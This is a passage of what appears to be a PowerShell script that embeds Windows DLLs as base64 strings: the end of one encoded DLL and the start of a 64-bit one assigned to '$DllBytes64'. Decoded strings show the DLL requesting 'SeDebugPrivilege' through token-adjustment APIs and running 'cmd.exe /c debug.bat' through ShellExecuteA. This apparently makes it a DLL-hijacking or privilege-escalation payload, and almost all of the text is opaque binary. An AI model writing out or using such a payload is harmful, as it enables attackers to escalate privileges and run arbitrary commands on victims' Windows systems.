KS0xNTk9QUVJTVFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn8AU2VEZWJ1Z1ByaXZpbGVnZQAAAAAAAAAAL2MgZGVidWcuYmF0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAAAAAAYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlAG9wZW4AAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAEOCBABADAAAAAAAAAAAAAAAAAAAACJAAEAyBABAAAAAAAAAAAAIAAAAcgQAQKIEAEESBABAAAAAACJAAEAEAAAAAAAAA/////wAAAABAAAAADIEAECSQABAAAAAAAAAAAP////8AAAAAQAAAAGCBABAAAAAAAAAAAAEAAABwgQAQRIEAEAAAAAAAAAAAAAAAAAAAAAAkkAAQYIEAEAAAAAAAAAAAAAAAAJCQABCggQAQAAAAAAAAAAABAAAAsIEAELiBABAAAAAAkJAAEAAAAAAAAAAA/////wAAAABAAAAAoIEAEAAAAAAAAAAAAAAAAGAlAADwQwAAEFYAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v///wAAAADY////AAAAAP7///8AAAAA2REAEAAAAAD+////AAAAANT///8AAAAA/v///zkTABBKEwAQAAAAAIUUABAAAAAATIIAEAIAAABYggAQdIIAEAAAAAAIkAAQAAAAAP////8AAAAADAAAALcUABAAAAAAJJAAEAAAAAD/////AAAAAAwAAADrKQAQ/v///wAAAADY////AAAAAP7///8AAAAAcxYAEP7///8AAAAAghYAEP7///8AAAAA2P///wAAAAD+////AAAAADUYABD+////AAAAAEEYABD+////AAAAAMD///8AAAAA/v///wAAAAC9HQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAGkrABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAADi4AEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAB3MQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAD40ABAAAAAA/v///wAAAADM////AAAAAP7///8AAAAAlzgAEAAAAAD+////AAAAANj///8AAAAA/v///5I6ABCWOgAQAAAAAP7///8AAAAAwP///wAAAAD+////AAAAAH88ABAAAAAA/v///wAAAADY////AAAAAP7///+7PwAQzj8AEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAAZRQAQfIQAAAAAAAAAAAAAloUAABBgAABshAAAAAAAAAAAAADohQAAAGAAAGSFAAAAAAAAAAAAAAaGAAD4YAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQhQAAuIUAAKSFAAAAAAAAiIUAAICFAABshQAAEoYAACiGAAA4hgAASoYAAF6GAAB6hgAAmIYAAKyGAAC8hgAAyIYAANaGAADkhgAA7oYAAAaHAAAahwAAKocAADqHAABShwAAZIcAAHCHAAB+hwAAkIcAAKCHAADIhwAA1ocAAOiHAAAAiAAAFogAADCIAABGiAAAYIgAAG6IAAB8iAAAlogAAKaIAAC8iAAA1ogAAOKIAAD0iAAADIkAACSJAAAwiQAAOokAAEaJAABYiQAAZokAAHaJAACCiQAAmIkAAKSJAACwiQAAwIkAANaJAADoiQAAAAAAAPaFAAAAAAAAwAFHZXRDdXJyZW50UHJvY2VzcwCyBFNsZWVwAFIAQ2xvc2VIYW5kbGUAS0VSTkVMMzIuZGxsAAD3AU9wZW5Qcm9jZXNzVG9rZW4AAJYBTG9va3VwUHJpdmlsZWdlVmFsdWVBAB8AQWRqdXN0VG9rZW5Qcml2aWxlZ2VzAEFEVkFQSTMyLmRsbAAAHgFTaGVsbEV4ZWN1dGVBAFNIRUxMMzIuZGxsAMUBR2V0Q3VycmVudFRocmVhZElkAADKAERlY29kZVBvaW50ZXIAhgFHZXRDb21tYW5kTGluZUEAwARUZXJtaW5hdGVQcm9jZXNzAADTBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAApQRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAANJc0RlYnVnZ2VyUHJlc2VudADqAEVuY29kZVBvaW50ZXIAxQRUbHNBbGxvYwAAxwRUbHNHZXRWYWx1ZQDIBFRsc1NldFZhbHVlAMYEVGxzRnJlZQDvAkludGVybG9ja2VkSW5jcmVtZW50AAAYAkdldE1vZHVsZUhhbmRsZVcAAHMEU2V0TGFzdEVycm9yAAACAkdldExhc3RFcnJvcgAA6wJJbnRlcmxvY2tlZERlY3JlbWVudAAARQJHZXRQcm9jQWRkcmVzcwAAzwJIZWFwRnJlZQAAGQFFeGl0UHJvY2VzcwBvBFNldEhhbmRsZUNvdW50AABkAkdldFN0ZEhhbmRsZQAA4wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50APMBR2V0RmlsZVR5cGUAYwJHZXRTdGFydHVwSW5mb1cA0QBEZWxldGVDcml0aWNhbFNlY3Rpb24AEwJHZXRNb2R1bGVGaWxlTmFtZUEAAGEBRnJlZUVudmlyb25tZW50U3RyaW5nc1cAEQVXaWRlQ2hhclRvTXVsdGlCeXRlANoBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAzQJIZWFwQ3JlYXRlAADOAkhlYXBEZXN0cm95AKcDUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAkwJHZXRUaWNrQ291bnQAAMEBR2V0Q3VycmVudFByb2Nlc3NJZAB5AkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAMsCSGVhcEFsbG9jALEDUmFpc2VFeGNlcHRpb24AADkDTGVhdmVDcml0aWNhbFNlY3Rpb24AAO4ARW50ZXJDcml0aWNhbFNlY3Rpb24AAHIBR2V0Q1BJbmZvAGgBR2V0QUNQAAA3AkdldE9FTUNQAAAKA0lzVmFsaWRDb2RlUGFnZQDSAkhlYXBSZUFsbG9jAD8DTG9hZExpYnJhcnlXAAAlBVdyaXRlRmlsZQAUAkdldE1vZHVsZUZpbGVOYW1lVwAAGARSdGxVbndpbmQA1AJIZWFwU2l6ZQAALQNMQ01hcFN0cmluZ1cAAGcDTXVsdGlCeXRlVG9XaWRlQ2hhcgBpAkdldFN0cmluZ1R5cGVXAAAEA0lzUHJvY2Vzc29yRmVhdHVyZVByZXNlbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" $DllBytes64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAB08UddMJApDjCQKQ4wkCkOKw2CDimQKQ4rDYMODpApDisNtw45kCkOOei6DjeQKQ4wkCgOeZApDisNhg4zkCkOKw20DjGQKQ5SaWNoMJApDgAAAAAAAAAAUEUAAGSGBgA9AEJWAAAAAAAAAADwACIgCwIKAABYAAAAUgAAAAAAAMgTAAAAEAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAEAEAAAQAACUfAQACAEABAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAAAAAAAAAAADJ0AAFAAAAAA8AAAtAEAAADgAADcBQAAAAAAAAAAAAAAAAEANAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwAAAYAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAA6VgAAABAAAABYAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAQDQAAABwAAAANgAAAFwAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAEAiAAAAsAAAABAAAACSAAAAAAAAAAAAAAAAAABAAADALnBkYXRhAADcBQAAAOAAAAAGAAAAogAAAAAAAAAAAAAAAAAAQAAAQC5yc3JjAAAAtAEAAADwAAAAAgAAAKgAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAK4DAAAAAAEAAAQAAACqAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA